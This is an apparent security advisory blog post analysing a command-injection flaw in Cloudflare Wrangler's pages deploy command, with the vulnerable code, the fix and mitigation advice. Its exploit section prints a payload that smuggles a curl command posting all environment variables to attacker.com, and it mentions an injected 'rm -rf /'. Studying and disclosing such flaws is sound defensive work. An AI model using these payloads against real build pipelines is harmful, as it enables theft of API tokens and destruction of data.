Wrangling a Shell: Command Injection in Cloudflare's Deployment Tool
Jan 21, 2026·6 min read·2 visits
Executive Summary (TL;DR)
Cloudflare Wrangler, the CLI for Workers and Pages, failed to sanitize the `--commit-hash` argument in the `pages deploy` command. By passing this input directly to a shell via `execSync`, the tool allowed attackers to escape the intended `git` command and execute arbitrary OS commands. This affects CI/CD pipelines particularly hard, potentially exposing API tokens and secrets. Fixed in versions 4.59.1 and 3.114.17.
A high-severity command injection vulnerability in Cloudflare Wrangler's `pages deploy` command allows attackers to execute arbitrary code via a crafted commit hash argument.
The Hook: When CI/CD Becomes a Backdoor
We often treat our developer tools like trusted pets. We install them globally, give them access to our most sensitive environment variables, and weave them deep into our automated build pipelines. But CVE-2026-0933 serves as a harsh reminder that even the most polished tools from major vendors can harbour elementary mistakes.
Cloudflare Wrangler is the go-to CLI for managing Cloudflare Workers and Pages. It handles everything from local development to production deployment. In automated environments, the wrangler pages deploy command is the workhorse. It takes your built assets and ships them to the edge. To track deployments, it tries to associate the upload with a specific Git commit hash.
And here lies the problem: in its zeal to be helpful, Wrangler trusted the input provided for that commit hash implicitly. If you can control that input—perhaps through a pull request title, a branch name in a CI job, or a manual trigger—you aren't just deploying a static site. You are handing the CI runner a command script and asking it to run it with the privileges of the deployment process. That usually means access to CLOUDFLARE_API_TOKEN, AWS keys, and whatever else is lurking in your environment variables.
The Flaw: The Seduction of Template Literals
The root cause of this vulnerability is a tale as old as time (or at least as old as Node.js): the misuse of child_process.execSync. In JavaScript, template literals (strings wrapped in backticks) are incredibly convenient. They let you embed variables directly into strings. But convenience is the enemy of security.
The developers needed to fetch the commit message for a given hash using Git. The logic seemed straightforward: run git show and capture the output. However, they constructed the command by concatenating the user-provided hash directly into the shell string.
When you use execSync with a single string argument, Node.js doesn't just spawn the git binary. It spawns a system shell (/bin/sh on Unix, cmd.exe on Windows) to parse and execute that string. The shell understands that characters like ;, &&, |, and $ have special meanings. If the input contains these characters, the shell interprets them as logic, not as text. This is the difference between handing a cashier a note that says "robbery" (data) and handing them a gun (code).
The Code: The Smoking Gun
Let's look at the actual code from packages/wrangler/src/pages/deploy.ts. This snippet shows exactly how the vulnerability manifested and how it was eventually patched in commit 99b1f328a9afe181b49f1114ed47f15f6d25f0be.
The Vulnerable Code:
In the vulnerable version, the code blindly interpolates commitHash into the command string:
// VULNERABLE IMPLEMENTATION
import { execSync } from "node:child_process";
if (!commitMessage) {
// The shell sees: git show -s --format=%B [YOUR INPUT HERE]
commitMessage = execSync(`git show -s --format=%B ${commitHash}`)
.toString()
.trim();
}The Fix:
The remediation involved switching from execSync (shell execution) to execFileSync (direct process execution). By passing arguments as an array, the runtime invokes the executable directly via execve (or equivalent), bypassing the shell entirely. There is no shell to interpret the semicolon, so ; rm -rf / becomes a literal argument passed to git, which git will likely just complain about.
// PATCHED IMPLEMENTATION
import { execFileSync } from "node:child_process";
if (!commitMessage) {
// The OS sees: executable "git" with arguments ["show", "-s", "...", commitHash]
commitMessage = execFileSync("git", [
"show",
"-s",
"--format=%B",
commitHash,
]).toString().trim();
}[!NOTE] While this fixes the Command Injection (RCE), astute readers will notice they did not include the end-of-options separator (
--) beforecommitHash. This leaves the door open for Argument Injection, where an attacker could pass flags like--helpor-pto alter Git's behavior, though this is significantly less dangerous than RCE.
The Exploit: Breaking the Chain
Exploiting this is trivially easy if you can influence the --commit-hash argument. In a typical CI/CD pipeline, this argument might be populated from a variable like $CI_COMMIT_SHA. If an attacker can trigger a build with a custom tag or manual input, they own the runner.
Here is how an attacker creates a payload to exfiltrate environment variables:
- Objective: Steal
CLOUDFLARE_API_TOKEN. - Injection Point: The
commitHashvariable. - Payload:
a1b2c3d; curl -X POST -d "$(env)" https://attacker.com/collect
When Wrangler executes this, the underlying shell command becomes:
git show -s --format=%B a1b2c3d; curl -X POST -d "$(env)" https://attacker.com/collectThe shell executes git show (which might fail or succeed, it doesn't matter), sees the semicolon separator, and then immediately executes the curl command. The $(env) expands to the full environment list, which is posted to the attacker's listener.
The Impact: Why You Should Care
The CVSS score of 7.7 (High) is justified because while this requires local context (access to the CLI arguments), that context is the default state for automation. The impact here is not just about crashing a build; it's about Supply Chain security.
1. Credential Theft: The most immediate risk is the theft of long-lived API tokens. With a Cloudflare API token, an attacker can modify DNS records, deploy malicious Workers, or shut down protection mechanisms.
2. Build Artifact Poisoning: Since the attacker has code execution on the build runner, they can modify the static assets before they are uploaded to Cloudflare Pages. They could inject a crypto miner or a credit card skimmer into your JavaScript bundles. The deployment logs would look normal, reporting a successful upload, while your users are served compromised code.
3. Lateral Movement: CI runners often have privileged access to other parts of the infrastructure (e.g., access to private NPM registries, Docker registries, or AWS roles). A compromise here is a pivot point to the rest of the cloud environment.
Mitigation: Patching and Lessons Learned
The immediate fix is to upgrade Wrangler. If you are pinning versions in your package.json (which you should be), bump the version number immediately.
Fixed Versions:
- Wrangler v4: Upgrade to
4.59.1or later. - Wrangler v3: Upgrade to
3.114.17or later.
If you are stuck on v2, you are out of luck—it is End-of-Life. Upgrade to v3/v4 immediately.
Developer Takeaway:
Never, ever use exec or execSync with unsanitized strings if you can avoid it. Always prefer execFile, spawn, or execFileSync which accept arguments as an array. This separates the command from the arguments at the OS level, neutralizing shell injection attacks completely. If you must use a shell, use a library like shell-quote to properly escape inputs, but honestly, just don't do it.
Fix Analysis (1)
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Wrangler Cloudflare | >= 4.0.0 < 4.59.1 | 4.59.1 |
Wrangler Cloudflare | >= 3.0.0 < 3.114.17 | 3.114.17 |
Wrangler Cloudflare | >= 2.0.15 < 3.0.0 | N/A (EOL) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS v4.0 | 7.7 (High) |
| Attack Vector | Network / Local (Context dependent) |
| EPSS Score | 0.51% |
| Exploit Status | POC Available |
| Vulnerable Function | execSync() in pages/deploy.ts |
MITRE ATT&CK Mapping
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.